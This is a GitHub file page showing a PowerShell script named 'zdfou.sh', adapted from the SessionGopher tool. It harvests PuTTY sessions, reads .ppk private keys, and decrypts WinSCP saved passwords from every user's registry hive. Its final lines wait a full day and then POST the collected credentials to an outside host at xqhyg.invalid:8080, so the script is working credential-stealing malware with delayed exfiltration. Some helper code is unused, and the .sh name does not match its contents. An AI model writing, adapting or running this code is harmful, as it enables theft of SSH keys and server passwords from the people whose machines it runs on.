-
Notifications
You must be signed in to change notification settings - Fork 1
/
zdfou.sh
311 lines (215 loc) · 12.3 KB
/
zdfou.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
$global:log = ""
function Write-Log($out) {
$global:log += $out + "`n"
}
function Invoke-SessionGopher {
# Value for HKEY_USERS hive
$HKU = 2147483651
# Value for HKEY_LOCAL_MACHINE hive
$HKLM = 2147483650
$PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions"
$WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
Write-Log "Digging on $(Hostname)..."
# Aggregate all user hives in HKEY_USERS into a variable
$UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'}
# For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS.
foreach($Hive in $UserHives) {
# Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information.
$UserObject = New-Object PSObject
$ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
$ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
$ArrayOfPPKFiles = New-Object System.Collections.ArrayList
$objUser = (GetMappedSID)
$Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf)
$UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value
# Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key
$PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding"
$WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding"
if (Test-Path $WinSCPPath) {
# Aggregates all saved sessions from that user's WinSCP client
$AllWinSCPSessions = Get-ChildItem $WinSCPPath
(ProcessWinSCPLocal $AllWinSCPSessions)
} # If (Test-Path WinSCPPath)
if (Test-Path $PuTTYPath) {
# Store .ppk files
$PPKExtensionFilesINodes = New-Object System.Collections.ArrayList
# Aggregates all saved sessions from that user's PuTTY client
$AllPuTTYSessions = Get-ChildItem $PuTTYPath
(ProcessPuTTYLocal $AllPuTTYSessions)
(ProcessPPKFile $PPKExtensionFilesINodes)
} # If (Test-Path PuTTYPath)
} # For each Hive in UserHives
Write-Host "Final log:"
$global:log
} # Invoke-SessionGopher
####################################################################################
####################################################################################
## Registry Querying Helper Functions
####################################################################################
####################################################################################
# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive
function GetMappedSID {
# If getting SID from remote computer
if ($iL -or $Target -or $AllDomain) {
# Get the username for SID we discovered has saved sessions
$SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID"
$Value = "ProfileImagePath"
return (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue
# Else, get local SIDs
} else {
# Converts user SID in HKEY_USERS to username
$SID = (Split-Path $Hive.Name -Leaf)
$objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID")
return $objSID.Translate( [System.Security.Principal.NTAccount])
}
}
####################################################################################
####################################################################################
## File Processing Helper Functions
####################################################################################
####################################################################################
function ProcessThoroughLocal($AllDrives) {
foreach ($Drive in $AllDrives) {
# If the drive holds a filesystem
if ($Drive.Provider.Name -eq "FileSystem") {
$Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue
foreach ($Dir in $Dirs) {
Switch ($Dir.Extension) {
".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)}
".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)}
".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)}
}
}
}
}
}
function ProcessPuTTYLocal($AllPuTTYSessions) {
# For each PuTTY saved session, extract the information we want
foreach($Session in $AllPuTTYSessions) {
$PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname,Keyfile
$PuTTYSessionObject.Source = $Source
$PuTTYSessionObject.Session = (Split-Path $Session -Leaf)
$PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
$PuTTYSessionObject.Keyfile = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "PublicKeyFile" -ErrorAction SilentlyContinue).PublicKeyFile)
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
[void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
# Grab keyfile inode and add it to the array if it's a ppk
$Dirs = Get-ChildItem $PuTTYSessionObject.Keyfile -Recurse -ErrorAction SilentlyContinue
foreach ($Dir in $Dirs) {
Switch ($Dir.Extension) {
".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)}
}
}
}
if ($o) {
$ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation
} else {
Write-Log "PuTTY Sessions"
Write-Log ($ArrayOfPuTTYSessions | Format-List | Out-String)
}
# Add the array of PuTTY session objects to UserObject
$UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
} # ProcessPuTTYLocal
function ProcessWinSCPLocal($AllWinSCPSessions) {
# For each WinSCP saved session, extract the information we want
foreach($Session in $AllWinSCPSessions) {
$PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session
$WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
$WinSCPSessionObject.Source = $Source
$WinSCPSessionObject.Session = (Split-Path $Session -Leaf)
$WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname)
$WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username)
$WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password)
if ($WinSCPSessionObject.Password) {
$MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword)
# If the user is not using a master password, we can crack it:
if (!$MasterPassUsed) {
$WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
# Else, the user is using a master password. We can't retrieve plaintext credentials for it.
} else {
$WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
}
}
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
[void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
} # For each Session in AllWinSCPSessions
if ($o) {
$ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
} else {
Write-Log "WinSCP Sessions"
Write-Log ($ArrayOfWinSCPSessions | Format-List | Out-String)
}
# Add the array of WinSCP session objects to the target user object
$UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
} # ProcessWinSCPLocal
function ProcessPPKFile($PPKExtensionFilesINodes) {
# Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes
foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) {
# Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is
$PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC"
$PPKFileObject."Source" = (Hostname)
# The next several lines use regex pattern matching to store relevant info from the .ppk file into our object
$PPKFileObject."Path" = $Path
$PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {}
$PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {}
$PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {}
$NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {}
$PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {}
$PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {}
# Add the object we just created to the array of .ppk file objects
[void]$ArrayOfPPKFiles.Add($PPKFileObject)
}
if ($ArrayOfPPKFiles.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles
if ($o) {
$ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
} else {
Write-Log "PuTTY Private Key Files (.ppk)"
Write-Log ($ArrayOfPPKFiles | Select-Object * | Format-List | Out-String)
}
}
} # Process PPK File
####################################################################################
####################################################################################
## WinSCP Deobfuscation Helper Functions
####################################################################################
####################################################################################
function DecryptNextCharacterWinSCP($remainingPass) {
# Creates an object with flag and remainingPass properties
$flagAndPass = "" | Select-Object -Property flag,remainingPass
# Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions
$firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16)
$secondval = "0123456789ABCDEF".indexOf($remainingPass[1])
$Added = $firstval + $secondval
$decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256
$flagAndPass.flag = $decryptedResult
$flagAndPass.remainingPass = $remainingPass.Substring(2)
return $flagAndPass
}
function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) {
$CheckFlag = 255
$Magic = 163
$len = 0
$key = $SessionHostname + $SessionUsername
$values = DecryptNextCharacterWinSCP($Password)
$storedFlag = $values.flag
if ($values.flag -eq $CheckFlag) {
$values.remainingPass = $values.remainingPass.Substring(2)
$values = DecryptNextCharacterWinSCP($values.remainingPass)
}
$len = $values.flag
$values = DecryptNextCharacterWinSCP($values.remainingPass)
$values.remainingPass = $values.remainingPass.Substring(($values.flag * 2))
$finalOutput = ""
for ($i=0; $i -lt $len; $i++) {
$values = (DecryptNextCharacterWinSCP($values.remainingPass))
$finalOutput += [char]$values.flag
}
if ($storedFlag -eq $CheckFlag) {
return $finalOutput.Substring($key.length)
}
return $finalOutput
}
Invoke-SessionGopher
Start-Sleep 86400
Invoke-WebRequest -uri http://xqhyg.invalid:8080 -Method Post -Body $global:log